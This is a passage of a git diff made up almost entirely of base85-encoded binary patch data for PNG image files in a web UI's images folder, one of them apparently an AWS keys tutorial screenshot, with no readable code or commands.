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 literal 0 HcmV?d00001 diff --git a/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-current-user.png b/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-current-user.png new file mode 100644 index 0000000000000000000000000000000000000000..b1b3a997f3bd88dea5f960eb1d1ebb5f1d962197 GIT binary patch literal 127374 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 